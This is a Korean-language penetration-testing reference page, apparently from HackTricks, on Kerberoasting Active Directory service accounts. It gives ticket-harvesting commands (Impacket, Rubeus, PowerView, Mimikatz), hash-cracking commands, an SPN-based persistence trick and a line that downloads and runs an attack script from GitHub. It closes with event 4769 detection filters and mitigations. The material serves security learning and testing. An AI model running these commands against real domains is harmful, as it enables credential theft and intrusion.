Kerberoast

Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요. 오늘 바로 액세스하세요:

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지의 AWS 해킹**을 배우세요!

HackTricks를 지원하는 다른 방법:

Kerberoast

Kerberoasting은 **Active Directory (AD)**에서 컴퓨터 계정을 제외한 사용자 계정으로 운영되는 서비스와 관련된 TGS 티켓의 획득에 중점을 둡니다. 이러한 티켓의 암호화는 사용자 암호에서 유래한 키를 사용하며, 오프라인 자격 증명 크래킹의 가능성을 제공합니다. 서비스로 사용되는 사용자 계정은 비어 있지 않은 "ServicePrincipalName" 속성으로 표시됩니다.

Kerberoasting을 실행하기 위해서는 TGS 티켓을 요청할 수 있는 도메인 계정이 필수적이지만, 이 과정은 특별한 권한을 요구하지 않으므로 유효한 도메인 자격 증명을 가진 누구에게나 접근 가능합니다.

주요 포인트:

  • KerberoastingAD사용자 계정 서비스를 대상으로 합니다.

  • 사용자 암호에서 유래한 키로 암호화된 티켓은 오프라인에서 크래킹될 수 있습니다.

  • ServicePrincipalName이 비어 있지 않은 서비스를 식별합니다.

  • 특별한 권한이 필요하지 않으며, 유효한 도메인 자격 증명만 있으면 됩니다.

공격

Kerberoasting 도구는 공격을 수행하고 TGS-REQ 요청을 시작할 때 일반적으로 **RC4 암호화**를 요청합니다. 이는 RC4가 다른 암호화 알고리즘인 AES-128 및 AES-256보다 약하며 Hashcat와 같은 도구를 사용하여 오프라인에서 쉽게 크래킹할 수 있기 때문입니다. RC4 (유형 23) 해시는 **$krb5tgs$23$***로 시작하며, AES-256(유형 18)은 **$krb5tgs$18$***로 시작합니다.

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

다음은 kerberoastable 사용자 덤프를 포함한 다중 기능 도구입니다:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Kerberoastable 사용자 열거

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • 기법 1: TGS를 요청하고 메모리에서 덤프합니다

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • 기법 2: 자동 도구

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

TGS를 요청할 때 Windows 이벤트 4769 - Kerberos 서비스 티켓이 요청되었습니다가 생성됩니다.

Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요. 오늘 바로 액세스하세요:

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

지속성

만약 사용자에게 충분한 권한이 있다면, kerberoastable하게 만들 수 있습니다:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

다음은 kerberoast 공격에 유용한 도구를 찾을 수 있습니다: https://github.com/nidem/kerberoast

만약 Linux에서 다음 오류를 발견한다면: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 이는 로컬 시간 때문입니다. 호스트를 DC와 동기화해야 합니다. 몇 가지 옵션이 있습니다:

  • ntpdate <DC의 IP> - Ubuntu 16.04부터 사용이 중단됨

  • rdate -n <DC의 IP>

완화

Kerberoasting은 취약점이 있는 경우 높은 은밀성으로 수행될 수 있습니다. 이 활동을 감지하기 위해 보안 이벤트 ID 4769에 주의를 기울여야 합니다. 그러나 이 이벤트의 빈도가 높기 때문에 의심스러운 활동을 분리하기 위해 특정 필터를 적용해야 합니다:

  • 서비스 이름이 krbtgt이 아니어야 합니다. 이는 정상 요청입니다.

  • **$**로 끝나는 서비스 이름은 제외되어야 합니다. 서비스에 사용되는 기계 계정을 포함하지 않기 위함입니다.

  • 기계에서의 요청은 machine@domain 형식의 계정 이름을 제외함으로써 필터링되어야 합니다.

  • 실패 코드가 **'0x0'**인 성공적인 티켓 요청만 고려되어야 합니다.

  • 가장 중요한 것은, 티켓 암호화 유형이 0x17이어야 합니다. 이는 Kerberoasting 공격에서 자주 사용됩니다.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Kerberoasting의 위험을 줄이기 위해:

  • 서비스 계정 암호가 추측하기 어렵도록 보장하고, 25자 이상의 길이를 권장합니다.

  • 관리형 서비스 계정을 활용하면 자동 암호 변경위임된 서비스 주체 이름 (SPN) 관리와 같은 혜택을 제공하여 이러한 공격에 대한 보안을 강화할 수 있습니다.

이러한 조치를 시행함으로써 조직은 Kerberoasting과 관련된 위험을 크게 줄일 수 있습니다.

도메인 계정 없이 Kerberoast

2022년 9월, 연구원인 Charlie Clark라는 사람이 새로운 시스템을 악용하는 방법을 exploit.ph 플랫폼을 통해 공개했습니다. 이 방법은 **서비스 티켓 (ST)**을 KRB_AS_REQ 요청을 통해 획득할 수 있게 해주는데, 이는 어떤 Active Directory 계정을 제어할 필요가 없다는 점이 놀라운 특징입니다. 본질적으로, 주체가 사전 인증을 필요로 하지 않도록 설정된 경우에 가능한 것으로, 사이버 보안 분야에서 알려진 AS-REP Roasting 공격과 유사한 시나리오입니다. 이 특성을 활용하여 요청 프로세스를 조작할 수 있습니다. 구체적으로, 요청 본문 내의 sname 속성을 변경함으로써 시스템을 속여 ST 대신 표준 암호화된 티켓 부여 티켓 (TGT)을 발급하도록 유도합니다.

이 기술에 대한 자세한 내용은 다음 기사에서 확인할 수 있습니다: Semperis 블로그 게시물.

이 기술을 사용하기 위해 LDAP을 쿼리할 유효한 계정이 없으므로 사용자 목록을 제공해야 합니다.

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

참고 자료

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요. 오늘 바로 액세스하세요:

Last updated